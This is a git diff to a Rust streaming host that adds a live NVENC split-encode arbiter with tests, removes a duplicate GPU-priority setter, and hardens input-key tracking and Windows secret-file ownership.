@@ pub(super) unsafe fn apply_low_latency_config(cfg: &mut nv::NV_ENC_CONFIG, c: Lo } } } + +#[cfg(all(test, any(target_os = "linux", windows)))] +mod arbiter_tests { + use super::{ArbAction, SplitArbiter, SETTLE_FRAMES}; + + use nvidia_video_codec_sdk::sys::nvEncodeAPI::NV_ENC_SPLIT_ENCODE_MODE as M; + + /// THE SUB-FRAME TRADE, which is the whole reason `set_send_spread_us` exists. Same encode + /// numbers both times; only the handicap differs. + /// + /// A 4K HEVC session where split halves the encode (5000 → 2400 µs) but costs sub-frame + /// readback. With a cheap send there is headroom and split wins. With an expensive send the + /// lost overlap outweighs the encode saving, and the arbiter must REFUSE the arm that looks + /// twice as fast — which is exactly the mistake an encode-only comparison makes. + #[test] + fn handicap_can_reverse_the_verdict() { + let (inc, chal) = ( + M::NV_ENC_SPLIT_DISABLE_MODE as u32, + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + ); + let run = |handicap: u64| { + let mut arb = SplitArbiter::with_handicap(inc, chal, handicap); + let mut live = inc; + for _ in 0..500 { + if arb.is_done() { + break; + } + let us = if live == inc { 5000 } else { 2400 }; + if let Some(a) = arb.on_frame(us) { + match a { + ArbAction::SwitchTo(m) | ArbAction::Settled(m) => live = m, + } + } + } + live + }; + // Cheap send: the 2600 µs encode saving is real, split wins. + assert_eq!(run(500), chal, "with a cheap send, split should win"); + // Expensive send: 2400 + 3000 = 5400 against 5000 — the "twice as fast" arm is a LOSS + // end to end, and an encode-only comparison would have taken it. + assert_eq!( + run(3000), + inc, + "when losing sub-frame costs more than split saves, the incumbent must hold — this is \ + the regression an encode-only arbiter would ship" + ); + } + + /// Drive an arbiter with a fixed cost per arm and return every action it emitted. + fn drive(incumbent_us: u64, challenger_us: u64) -> (Vec, u32) { + let (inc, chal) = ( + M::NV_ENC_SPLIT_DISABLE_MODE as u32, + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + ); + let mut arb = SplitArbiter::with_handicap(inc, chal, 0); + let mut actions = Vec::new(); + // Whatever the session is currently running; the harness follows the arbiter's switches + // so the cost it reports matches the arm actually in effect. + let mut live = inc; + for _ in 0..500 { + if arb.is_done() { + break; + } + let us = if live == inc { + incumbent_us + } else { + challenger_us + }; + if let Some(a) = arb.on_frame(us) { + actions.push(a); + match a { + ArbAction::SwitchTo(m) => live = m, + ArbAction::Settled(m) => live = m, + } + } + } + (actions, live) + } + + /// A clearly faster challenger is adopted, and the session ends up running it. + #[test] + fn arbiter_adopts_a_clearly_faster_challenger() { + let (actions, live) = drive(5000, 2400); + assert_eq!( + actions[0], + ArbAction::SwitchTo(M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32), + "must try the challenger before judging it" + ); + assert_eq!( + actions.last(), + Some(&ArbAction::Settled(M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32)) + ); + assert_eq!(live, M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32); + } + + /// A slower challenger is rejected and the session is put BACK — the arbiter is mid-experiment + /// when it decides, so "keep the incumbent" is a real reconfigure, not a no-op. Getting this + /// wrong would strand every losing arbitration on the losing arm. + #[test] + fn arbiter_restores_the_incumbent_when_the_challenger_loses() { + let (actions, live) = drive(2400, 5000); + assert_eq!( + actions.last(), + Some(&ArbAction::SwitchTo(M::NV_ENC_SPLIT_DISABLE_MODE as u32)), + "a losing experiment must be undone" + ); + assert_eq!(live, M::NV_ENC_SPLIT_DISABLE_MODE as u32); + } + + /// Within the margin the incumbent holds: switching costs a reconfigure and, on HEVC, sub-frame + /// readback, so a coin-flip difference must not move the session. + #[test] + fn arbiter_keeps_the_incumbent_inside_the_margin() { + // 5 % better — under WIN_MARGIN_PCT. + let (_, live) = drive(2400, 2280); + assert_eq!(live, M::NV_ENC_SPLIT_DISABLE_MODE as u32); + } + + /// THE SETTLE CONTRACT: the challenger must not be judged on frames taken immediately after the + /// switch. Feed it a transient — slow for the whole settle window, fast afterwards — and it + /// must still see the fast steady state. Without the settle window this arbiter would read the + /// transient, reject a genuinely better arm, and cache that verdict. + #[test] + fn arbiter_ignores_the_post_switch_transient() { + let (inc, chal) = ( + M::NV_ENC_SPLIT_DISABLE_MODE as u32, + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + ); + let mut arb = SplitArbiter::with_handicap(inc, chal, 0); + let mut switched_at = None; + let mut frame = 0usize; + let mut outcome = None; + while outcome.is_none() && frame < 500 { + let us = match switched_at { + None => 5000, + // The transient: as slow as the incumbent for exactly the settle window. + Some(s) if frame - s <= SETTLE_FRAMES as usize => 5000, + Some(_) => 2000, + }; + match arb.on_frame(us) { + Some(ArbAction::SwitchTo(m)) if m == chal => switched_at = Some(frame), + Some(a) => outcome = Some(a), + None => {} + } + frame += 1; + } + assert_eq!( + outcome, + Some(ArbAction::Settled(chal)), + "the settle window must hide the post-switch transient — otherwise a better arm is \ + rejected on its own warmup" + ); + } +} + +/// The hand-written split constants in `codec.rs` MUST equal the SDK enum they mirror. They are +/// duplicated there so the libav path — which builds without the `nvenc` feature, where the enum +/// does not exist — can share one policy instead of keeping the copy that had already drifted. +/// This is the only place both are visible at once. +#[cfg(test)] +mod split_constant_parity { + use nvidia_video_codec_sdk::sys::nvEncodeAPI::NV_ENC_SPLIT_ENCODE_MODE as M; + + #[test] + fn nvenc_split_constants_match_the_sdk() { + assert_eq!(crate::SPLIT_AUTO, M::NV_ENC_SPLIT_AUTO_MODE as u32); + assert_eq!( + crate::SPLIT_AUTO_FORCED, + M::NV_ENC_SPLIT_AUTO_FORCED_MODE as u32 + ); + assert_eq!( + crate::SPLIT_TWO_FORCED, + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 + ); + assert_eq!( + crate::SPLIT_THREE_FORCED, + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32 + ); + assert_eq!(crate::SPLIT_DISABLE, M::NV_ENC_SPLIT_DISABLE_MODE as u32); + } +} diff --git a/crates/pf-encode/src/enc/windows/nvenc.rs b/crates/pf-encode/src/enc/windows/nvenc.rs index c960080b..67c0f7ce 100644 --- a/crates/pf-encode/src/enc/windows/nvenc.rs +++ b/crates/pf-encode/src/enc/windows/nvenc.rs @@ -44,10 +44,16 @@ use super::nvenc_core::{ apply_low_latency_config, build_init_params, cached_ceiling, codec_guid, plan_range_recovery, - resolve_slices, resolve_split_mode, resolve_split_subframe, resolve_subframe, store_ceiling, - subframe_env_forced, CeilingKey, LowLatencyConfig, NvStatusExt, RangePlan, + resolve_slices, resolve_split_subframe, resolve_subframe, store_ceiling, subframe_env_forced, + CeilingKey, LowLatencyConfig, NvStatusExt, RangePlan, +}; +// Moved to `codec.rs` (WP4) so the libav path, which builds without the `nvenc` feature, can share +// one split policy instead of keeping the copy that had already drifted. +use super::nvenc_core::{ + cached_split_verdict, store_split_verdict, ArbAction, SplitArbiter, SplitKey, }; use super::nvenc_status; +use super::{max_forced_split_mode, resolve_split_mode}; use super::{AuChunk, ChromaFormat, Codec, EncodedFrame, Encoder, EncoderCaps}; use anyhow::{anyhow, bail, Context, Result}; use pf_frame::{CapturedFrame, FramePayload, PixelFormat}; @@ -592,6 +598,21 @@ pub struct NvencD3d11Encoder { /// sub-frame readback (the Linux backend's rule since its Phase 3; Windows joined after the /// 2026-07-31 on-glass A/B), so a GPU without it never has sub-frame forced by default. subframe_cap: bool, + /// `NV_ENC_CAPS_NUM_ENCODER_ENGINES` — how many NVENC engines this GPU has, probed in + /// [`query_caps`](Self::query_caps). `0` = not probed / unreadable. The split-encode ceiling: + /// the driver accepts a split wider than the hardware and silently encodes narrower, so this + /// is the only honest source for how wide we may go (see `codec::max_forced_split_mode`). + encoder_engines: u32, + /// Submit stamp for the split arbiter's per-frame cost (sync depth-1 path only). + last_submit_at: Option, + /// Whole-AU paced-send time (µs) the host last reported. `0` = never reported, which keeps + /// the arbiter out of the sub-frame trade it cannot otherwise price. + send_spread_us: u32, + /// Sub-frame state the session was OPENED able to run, so a return to a non-forced split can + /// restore it without ever turning it on for a session that never had it. + subframe_opened_with: bool, + /// The live split-mode experiment, when one is running. + arbiter: Option, /// (bitstream, mapped input resource to unmap after retrieval, pts_ns, recovery-anchor) per /// in-flight encode. The fourth field tags the first frame encoded after a successful /// [`invalidate_ref_frames`](Encoder::invalidate_ref_frames) — the clean re-anchor P-frame the @@ -753,6 +774,11 @@ impl NvencD3d11Encoder { input_ring_depth: None, async_supported: false, subframe_cap: false, + encoder_engines: 0, + last_submit_at: None, + send_spread_us: 0, + subframe_opened_with: false, + arbiter: None, pending: VecDeque::new(), frame_idx: 0, force_kf: false, @@ -928,6 +954,10 @@ impl NvencD3d11Encoder { ); let async_enc = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_ASYNC_ENCODE_SUPPORT); let subframe = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_SUPPORT_SUBFRAME_READBACK); + // How many NVENC engines this GPU has — the split-encode ceiling. Must be probed rather + // than inferred from a rejection: the driver ACCEPTS a split wider than the hardware and + // silently encodes narrower (measured on `.21`, see `max_forced_split_mode`). + let engines = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_NUM_ENCODER_ENGINES); let _ = (api().destroy_encoder)(enc); // Reject an over-range mode with a clear message instead of an opaque InvalidParam. @@ -962,6 +992,7 @@ impl NvencD3d11Encoder { self.custom_vbv = custom_vbv != 0; self.async_supported = async_enc != 0; self.subframe_cap = subframe != 0; + self.encoder_engines = engines.max(0) as u32; tracing::info!( rfi = self.rfi_supported, custom_vbv = self.custom_vbv, @@ -1034,6 +1065,126 @@ impl NvencD3d11Encoder { Ok(cfg) } + /// The config identity this session's split verdict is cached under. + fn split_key(&self) -> SplitKey { + // Same GPU identity as `ceiling_key`: the selected render adapter's LUID, `0` when + // unresolved. Advisory either way. + let gpu = pf_gpu::resolve_render_adapter_luid() + .map(|l| ((l.HighPart as u32 as u64) << 32) | l.LowPart as u64) + .unwrap_or(0); + SplitKey { + gpu, + codec: self.codec, + width: self.width, + height: self.height, + fps: self.fps, + bit_depth: self.bit_depth, + chroma_444: self.chroma_444, + } + } + + /// Move the LIVE session to `mode` without an IDR. Windows twin of the Linux method; S1 on + /// D3D11 proved `nvEncReconfigureEncoder` takes a changed `splitEncodeMode` with + /// `resetEncoder=0` and emits no keyframe on this device type too. + fn apply_split_mode(&mut self, mode: u32) -> bool { + let (prev_mode, prev_sub) = (self.split_mode, self.subframe_on); + let (mode, subframe) = resolve_split_subframe( + self.codec, + mode, + self.subframe_opened_with, + subframe_env_forced(), + ); + self.split_mode = mode; + self.subframe_on = subframe; + if self.reconfigure_bitrate(self.bitrate_bps) { + true + } else { + tracing::warn!( + from = prev_mode, + to = mode, + "NVENC split arbitration: driver refused the in-place split change — staying put" + ); + self.split_mode = prev_mode; + self.subframe_on = prev_sub; + false + } + } + + /// Feed one frame's encode cost to the split arbiter and act on its verdict. + fn feed_split_arbiter(&mut self, encode_us: u64) { + let Some(arb) = self.arbiter.as_mut() else { + return; + }; + let action = arb.on_frame(encode_us); + let done = arb.is_done(); + match action { + Some(ArbAction::SwitchTo(mode)) => { + if !self.apply_split_mode(mode) { + self.arbiter = None; + return; + } + } + Some(ArbAction::Settled(mode)) => store_split_verdict(self.split_key(), mode), + None => {} + } + if done { + store_split_verdict(self.split_key(), self.split_mode); + self.arbiter = None; + } + } + + /// Decide whether this session may run a live split experiment. Same gates as the Linux + /// backend — see its `arm_split_arbiter` for why each one is a correctness condition rather + /// than a preference; the only Windows difference is that `async_rt` is a real possibility + /// here (opt-in two-thread retrieve), and under it the submit→AU span includes queue depth, + /// so the comparison would be noise. + fn arm_split_arbiter(&mut self) { + if !matches!( + std::env::var("PUNKTFUNK_NVENC_SPLIT_ARBITRATE").as_deref(), + Ok("1") + ) { + return; + } + if std::env::var_os("PUNKTFUNK_SPLIT_ENCODE").is_some() + || cached_split_verdict(&self.split_key()).is_some() + || self.async_rt.is_some() + || self.encoder_engines < 2 + || self.codec == Codec::H264 + { + return; + } + let handicap_us = if self.subframe_on && self.codec != Codec::Av1 { + if self.send_spread_us == 0 || self.slices < 2 { + return; + } + let slices = self.slices as u64; + self.send_spread_us as u64 * (slices - 1) / slices + } else { + 0 + }; + let disable = nv::NV_ENC_SPLIT_ENCODE_MODE::NV_ENC_SPLIT_DISABLE_MODE as u32; + let widest = max_forced_split_mode(self.encoder_engines); + let challenger = if self.split_mode == widest { + disable + } else { + widest + }; + if challenger == self.split_mode { + return; + } + tracing::info!( + incumbent = self.split_mode, + challenger, + handicap_us, + "NVENC split arbitration armed (Windows) — measuring both arms live (no IDR)" + ); + self.arbiter = Some(SplitArbiter::with_handicap( + self.split_mode, + challenger, + handicap_us, + )); + } + /// This session config's identity in the process-lifetime bitrate-ceiling cache /// (`nvenc_core::{cached_ceiling, store_ceiling}`). GPU identity is the selected render /// adapter's LUID — the adapter the capturer's device (and so this session) lives on; `0` @@ -1154,7 +1305,8 @@ impl NvencD3d11Encoder { // precedence (env override / the measured Main10 don't-split rule / pixel rate). // The init-failure fallback below disables it if a codec/config rejects it. let pixel_rate = self.width as u64 * self.height as u64 * self.fps.max(1) as u64; - let split_mode: u32 = resolve_split_mode(self.bit_depth, pixel_rate); + let split_mode: u32 = + resolve_split_mode(self.codec, self.bit_depth, pixel_rate, self.encoder_engines); // Negotiated multi-slice (P2f): the direct-NVENC default of 4, clamped by the // client's ceiling — a single-slice client keeps today's shape, a // VIDEO_CAP_MULTI_SLICE / Moonlight slices-per-frame client gets real slices. @@ -1400,6 +1552,15 @@ impl NvencD3d11Encoder { } self.inited = true; tracing::info!( + // Parity with the Linux session-ready line. `split_mode` is the FINAL mode (post + // any rejection fallback) and `engines` the ceiling it was chosen from — the mode + // alone is ambiguous between "used every engine" and "left one idle", and the + // driver honours an over-wide request without complaint, so neither number means + // much without the other. `subframe` because AUTO + sub-frame is a measurably + // single-engine combination that reads like a split in a log. + split_mode = self.split_mode, + engines = self.encoder_engines, + subframe = self.subframe_on, "NVENC D3D11 session: {}x{}@{} {}-bit{} {} Mbps {:?}", self.width, self.height, @@ -1409,6 +1570,8 @@ impl NvencD3d11Encoder { self.bitrate_bps / 1_000_000, self.codec_guid ); + self.subframe_opened_with = self.subframe_on; + self.arm_split_arbiter(); Ok(()) } } @@ -1752,6 +1915,9 @@ impl Encoder for NvencD3d11Encoder { anchor, idr_hint, )); + // Split-arbiter cost stamp; only meaningful on the sync depth-1 path, which is the + // only path `arm_split_arbiter` allows an experiment on. + self.last_submit_at = Some(std::time::Instant::now()); // Async: hand the in-flight encode to the retrieve thread (channel capacity = POOL ≥ // in-flight, so this send never blocks). The pending entry above pairs with its // completion FIFO in `absorb_done`. @@ -1935,6 +2101,13 @@ impl Encoder for NvencD3d11Encoder { if !map.is_null() { let _ = (api().unmap_input_resource)(self.encoder, map); } + let encode_us = self + .last_submit_at + .take() + .map(|t| t.elapsed().as_micros() as u64); + if let Some(us) = encode_us { + self.feed_split_arbiter(us); + } Ok(Some(EncodedFrame { data, pts_ns, @@ -2194,6 +2367,10 @@ impl Encoder for NvencD3d11Encoder { } } + fn set_send_spread_us(&mut self, us: u32) { + self.send_spread_us = us; + } + fn applied_bitrate_bps(&self) -> Option { // `bitrate_bps` is the post-clamp truth: the open path's ceiling search and the // reconfigure path's cache clamp both write what the session ACTUALLY targets. @@ -2680,6 +2857,162 @@ mod tests { } } + /// ON-HARDWARE — **S1 on WINDOWS/D3D11**, the question that gates Windows split arbitration. + /// + /// Everything the split-encode programme rests on was proven on **Linux/CUDA**: that + /// `nvEncReconfigureEncoder` accepts a changed `splitEncodeMode` with `resetEncoder=0`, emits + /// **no IDR**, and actually takes effect. The Windows backend drives a different device type + /// (`NV_ENC_DEVICE_TYPE_DIRECTX`), so none of that transfers by assumption — and if the driver + /// refuses it here, Windows arbitration is simply not buildable and should not be attempted. + /// + /// Also checks the two things WP1.1 added, on real Windows hardware rather than by inference + /// from Linux: that `query_caps` latches `NUM_ENCODER_ENGINES`, and that the driver **honours + /// an over-ask** (asking for a 3-way split on a 2-engine card) — the behaviour that makes the + /// clamp necessary rather than defensive. + /// + /// Reports rather than asserts the verdict: both outcomes are legitimate findings. Run: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_split_reconfigure_in_place --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX Windows box"] + fn nvenc_split_reconfigure_in_place() { + let _ = tracing_subscriber::fmt().with_test_writer().try_init(); + const W: u32 = 1920; + const H: u32 = 1080; + const BPS: u64 = 40_000_000; + let disable = nv::NV_ENC_SPLIT_ENCODE_MODE::NV_ENC_SPLIT_DISABLE_MODE as u32; + let two = nv::NV_ENC_SPLIT_ENCODE_MODE::NV_ENC_SPLIT_TWO_FORCED_MODE as u32; + + // Isolate the split variable exactly as the Linux spike does. + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", "0"); + + // SAFETY: (test-only) the same straight-line D3D11/DXGI setup as `nvenc_reconfigure_no_idr`. + unsafe { + let factory: IDXGIFactory1 = CreateDXGIFactory1().expect("DXGI factory"); + let mut adapter = None; + for i in 0.. { + let Ok(a) = factory.EnumAdapters1(i) else { + break; + }; + if a.GetDesc1().expect("adapter desc").Flags & DXGI_ADAPTER_FLAG_SOFTWARE.0 as u32 + == 0 + { + adapter = Some(a); + break; + } + } + let adapter = adapter.expect("no hardware DXGI adapter"); + let (device, _ctx) = pf_frame::dxgi::make_device(&adapter).expect("make_device"); + let bytes = probe_pattern(W as usize, H as usize); + let init = D3D11_SUBRESOURCE_DATA { + pSysMem: bytes.as_ptr() as *const _, + SysMemPitch: W * 4, + SysMemSlicePitch: 0, + }; + let desc = D3D11_TEXTURE2D_DESC { + Width: W, + Height: H, + MipLevels: 1, + ArraySize: 1, + Format: DXGI_FORMAT_B8G8R8A8_UNORM, + SampleDesc: DXGI_SAMPLE_DESC { + Count: 1, + Quality: 0, + }, + Usage: D3D11_USAGE_DEFAULT, + BindFlags: D3D11_BIND_RENDER_TARGET.0 as u32, + CPUAccessFlags: 0, + MiscFlags: 0, + }; + let mut tex = None; + device + .CreateTexture2D(&desc, Some(&init), Some(&mut tex)) + .expect("pattern texture"); + let tex = tex.expect("null pattern texture"); + + let mut enc = NvencD3d11Encoder::open( + Codec::H265, + PixelFormat::Bgra, + W, + H, + 60, + BPS, + 8, + ChromaFormat::Yuv420, + 1, + ) + .expect("NVENC open"); + + let submit_and_poll = |enc: &mut NvencD3d11Encoder, range: std::ops::Range| { + let (mut aus, mut keyframes) = (0usize, 0usize); + for i in range { + let frame = CapturedFrame { + width: W, + height: H, + pts_ns: i * 16_666_667, + format: PixelFormat::Bgra, + payload: FramePayload::D3d11(D3d11Frame { + texture: tex.clone(), + device: device.clone(), + pyro: None, + }), + cursor: None, + }; + enc.submit_indexed(&frame, i as u32).expect("submit"); + while let Some(au) = enc.poll().expect("poll") { + aus += 1; + keyframes += au.keyframe as usize; + } + } + (aus, keyframes) + }; + + let (aus, kfs) = submit_and_poll(&mut enc, 0..6); + assert!(aus > 0 && kfs == 1, "opening IDR then steady P-frames"); + println!( + "S1(win): engines={} (latched by query_caps), opened split_mode={}", + enc.encoder_engines, enc.split_mode + ); + assert!( + enc.encoder_engines >= 2, + "this GPU reports {} NVENC engine(s) — S1 is not interpretable here", + enc.encoder_engines + ); + assert_eq!(enc.split_mode, disable, "must open split-disabled"); + + // THE SPIKE: change ONLY splitEncodeMode, in place, same bitrate. + enc.split_mode = two; + let accepted = enc.reconfigure_bitrate(BPS); + println!("S1(win): reconfigure DISABLE→TWO_FORCED accepted = {accepted}"); + if accepted { + let (aus, kfs) = submit_and_poll(&mut enc, 6..12); + assert!(aus > 0, "no AUs after the accepted reconfigure"); + println!( + "S1(win) VERDICT: {}", + if kfs == 0 { + "PASS — accepted with NO IDR on D3D11: Windows arbitration is buildable" + } else { + "FAIL — accepted but forced an IDR, which is the same as a rejection" + } + ); + enc.split_mode = disable; + let back = enc.reconfigure_bitrate(BPS); + println!("S1(win): reverse accepted = {back}"); + } else { + enc.split_mode = disable; + println!( + "S1(win) VERDICT: FAIL — the D3D11 path REFUSES an in-place split change. \ + Windows arbitration is not buildable; the Linux result does not transfer." + ); + } + enc.flush().ok(); + } + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + /// ON-GLASS (RTX box): the measurement gating the AYUV 4:4:4 work — encodes the probe /// pattern through the REAL ARGB-input NVENC session once with `chromaFormatIDC=3`/FREXT /// and once as plain 4:2:0, so offline analysis of the two bitstreams answers (1) whether diff --git a/crates/pf-encode/src/enc/windows/pyrowave.rs b/crates/pf-encode/src/enc/windows/pyrowave.rs index 7a16f0d2..67a2f271 100644 --- a/crates/pf-encode/src/enc/windows/pyrowave.rs +++ b/crates/pf-encode/src/enc/windows/pyrowave.rs @@ -77,64 +77,21 @@ fn budget_for(bitrate_bps: u64, fps: u32) -> usize { ((bitrate_bps / (8 * fps.max(1) as u64)) as usize).max(64 * 1024) } -/// Raise this process's WDDM GPU scheduling priority so the wavelet encode isn't starved by a -/// GPU-bound game. PyroWave encodes on the GPU's compute/shader cores — the exact resource a game -/// saturates — so under load `pyrowave_encoder_encode_gpu_synchronous` spikes from ~2 ms to -/// 15-18 ms (measured, RTX 4090 at 95 % game load) and the stream fps collapses; NVENC is immune -/// because it runs on the separate encoder ASIC. HIGH sits above a game's NORMAL/ABOVE_NORMAL so -/// the WDDM scheduler services the encode's short compute bursts ahead of the game's rendering. -/// (REALTIME is deliberately avoided: it needs a privilege and would preempt the desktop -/// compositor too.) Best-effort + once-per-process: if the class isn't grantable we log and run at -/// normal priority — no session-fatal path. -fn raise_process_gpu_priority() { - use std::sync::Once; - static ONCE: Once = Once::new(); - ONCE.call_once(|| { - use windows::Wdk::Graphics::Direct3D::{ - D3DKMTSetProcessSchedulingPriorityClass, D3DKMT_SCHEDULINGPRIORITYCLASS_ABOVE_NORMAL, - D3DKMT_SCHEDULINGPRIORITYCLASS_HIGH, D3DKMT_SCHEDULINGPRIORITYCLASS_REALTIME, - }; - // `PUNKTFUNK_GPU_PRIORITY` = off | above-normal | high (default) | realtime. REALTIME can - // force finer WDDM preemption than HIGH but needs a privilege and preempts the compositor, - // so it stays opt-in; `off` skips the call entirely. - let (class, label) = match std::env::var("PUNKTFUNK_GPU_PRIORITY") - .ok() - .as_deref() - .map(str::trim) - .map(str::to_ascii_lowercase) - .as_deref() - { - Some("off") => { - tracing::info!("PyroWave: PUNKTFUNK_GPU_PRIORITY=off — leaving GPU scheduling priority at default"); - return; - } - Some("above-normal") | Some("above_normal") => { - (D3DKMT_SCHEDULINGPRIORITYCLASS_ABOVE_NORMAL, "ABOVE_NORMAL") - } - Some("realtime") => (D3DKMT_SCHEDULINGPRIORITYCLASS_REALTIME, "REALTIME"), - _ => (D3DKMT_SCHEDULINGPRIORITYCLASS_HIGH, "HIGH"), - }; - // SAFETY: `GetCurrentProcess` returns the current-process pseudo-handle; the D3DKMT call - // only sets this process's GPU scheduling class — it creates/frees nothing. - let status = unsafe { - D3DKMTSetProcessSchedulingPriorityClass(GetCurrentProcess(), class) - }; - if status.is_ok() { - tracing::info!( - priority = label, - "PyroWave: raised process GPU scheduling priority (WDDM) so the wavelet encode is \ - serviced ahead of game rendering on the shared shader cores" - ); - } else { - tracing::warn!( - ?status, - priority = label, - "PyroWave: could not raise GPU scheduling priority (not grantable) — the encode \ - may be starved under heavy game GPU load" - ); - } - }); -} +// GPU scheduling priority is deliberately NOT set here. `pf-frame`'s `dxgi::auto_priority_gate` +// owns that policy for the whole process and runs once from `create_device` — the call the Windows +// capture path always makes before any PyroWave texture exists. +// +// This module used to raise it itself, to HIGH, once per process. That was a SECOND owner of a +// process-wide setting and it raced the real one: pf-frame's default `auto` mode starts at HIGH and +// then UPGRADES to REALTIME once it has established that is safe (HAGS off, or HAGS on with VRAM +// headroom, with a monitor that drops back when VRAM tightens — REALTIME + NVIDIA + HAGS + +// near-full VRAM is a documented NVENC hang). Opening a PyroWave session after that upgrade stamped +// HIGH back over REALTIME and the monitor, silently losing the ceiling-raise on exactly the +// GPU-saturated workload PyroWave cares about most. +// +// The old `PUNKTFUNK_GPU_PRIORITY` knob went with it; `PUNKTFUNK_GPU_PRIORITY_CLASS` +// (`off|normal|high|realtime|auto`, default `auto`) is the one that survives and it is strictly +// more capable — the removed knob could not express the auto gate at all. pub struct PyroWaveEncoder { // pyrowave owns the whole Vulkan device (create_device_by_compat) — no ash on this side. @@ -188,9 +145,6 @@ impl PyroWaveEncoder { chroma: crate::ChromaFormat, bit_depth: u8, ) -> Result { - // Prioritize the host's GPU work over a running game so the compute-shader encode gets - // scheduled promptly instead of queuing behind a full frame of the game's rendering. - raise_process_gpu_priority(); let chroma444 = chroma.is_444(); // A negotiated 10-bit session rides 16-bit UNORM planes carrying the P010-style // studio codes the capturer's HDR CSC writes (design/pyrowave-444-hdr.md §2.2) — diff --git a/crates/pf-encode/src/lib.rs b/crates/pf-encode/src/lib.rs index 66c71ab3..984bddfd 100644 --- a/crates/pf-encode/src/lib.rs +++ b/crates/pf-encode/src/lib.rs @@ -287,6 +287,12 @@ impl Encoder for TrackedEncoder { fn set_wire_chunking(&mut self, shard_payload: usize) { self.inner.set_wire_chunking(shard_payload) } + // Same trap class again: unforwarded, the default no-op would leave the split arbitration + // permanently blind to send cost and it would never arbitrate the sub-frame trade — failing + // silently in the safe direction, which is the hardest kind to notice. + fn set_send_spread_us(&mut self, us: u32) { + self.inner.set_send_spread_us(us) + } // Forwarded for the same reason as `set_wire_chunking` above — an unforwarded default here // would silently leave the in-place backends pipelining past the capturer's ring. fn set_input_ring_depth(&mut self, depth: usize) { diff --git a/crates/pf-inject/src/inject/linux/kwin_fake_input.rs b/crates/pf-inject/src/inject/linux/kwin_fake_input.rs index 0231b68f..2d577692 100644 --- a/crates/pf-inject/src/inject/linux/kwin_fake_input.rs +++ b/crates/pf-inject/src/inject/linux/kwin_fake_input.rs @@ -271,7 +271,7 @@ impl KwinFakeInjector { )?; // Authenticate (the legacy handshake; for an interface-authorized client KWin accepts it // without a dialog — same as krdpserver/krfb headless). - fake.authenticate("punktfunk".into(), "remote streaming input".into()); + fake.authenticate("Punktfunk".into(), "remote streaming input".into()); queue .roundtrip(&mut state) .context("fake_input authenticate roundtrip")?; diff --git a/crates/pf-inject/src/inject/linux/libei.rs b/crates/pf-inject/src/inject/linux/libei.rs index 39043efe..228d31a8 100644 --- a/crates/pf-inject/src/inject/linux/libei.rs +++ b/crates/pf-inject/src/inject/linux/libei.rs @@ -1022,10 +1022,21 @@ impl EiState { // Track held state on the wire codes so `release_all` can undo it at // session end (vanished clients must not leave anything latched). match ev.kind { - InputKind::KeyDown if !self.held_keys.contains(&ev.code) => { - self.held_keys.push(ev.code); + // Track the code we ACTUALLY INJECTED, not the raw wire code. + // + // Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all + // press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41 + // never matched the entry a KeyDown for 0x141 left behind. A client sending + // distinct high bytes therefore appended entries that could never be removed, to a + // `Vec` scanned linearly on every keystroke, for the lifetime of the injector + // thread — which outlives the session (2026-08-05 review L-4). Tracking the + // truncated code makes the list correct AND bounds it at 256 entries by + // construction. `release_all` re-injects through the same truncation, so the + // release path is unchanged. + InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => { + self.held_keys.push(ev.code & 0xff); } - InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code), + InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff), InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => { self.held_buttons.push(ev.code); } diff --git a/crates/pf-paths/src/lib.rs b/crates/pf-paths/src/lib.rs index fbbfc8a8..59c94a87 100644 --- a/crates/pf-paths/src/lib.rs +++ b/crates/pf-paths/src/lib.rs @@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { { let r = std::fs::create_dir_all(dir); #[cfg(windows)] - restrict_dir_to_system_admins(dir); + restrict_dir_to_system_admins(dir, first_hardening_of(dir)); r } } +/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the +/// expensive recursive re-own. +/// +/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup +/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write) +/// would re-walk the whole config tree — recordings, art cache — for nothing. +#[cfg(windows)] +fn first_hardening_of(dir: &std::path::Path) -> bool { + use std::collections::HashSet; + use std::sync::{Mutex, OnceLock}; + static SEEN: OnceLock>> = OnceLock::new(); + SEEN.get_or_init(|| Mutex::new(HashSet::new())) + .lock() + .map(|mut s| s.insert(dir.to_path_buf())) + .unwrap_or(false) +} + +/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to +/// Administrators. +/// +/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first +/// ran was never written by us: it is owned by whoever created it, and an owner always retains +/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back. +/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and +/// command line (2026-08-05 review H-4). Best-effort and never fatal. +#[cfg(windows)] +pub fn restrict_existing_secret_file(path: &std::path::Path) { + if !path.exists() { + return; + } + let icacls = icacls_path(); + let _ = std::process::Command::new(&icacls) + .arg(path.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status(); + restrict_to_system_admins(path); +} + +/// No-op 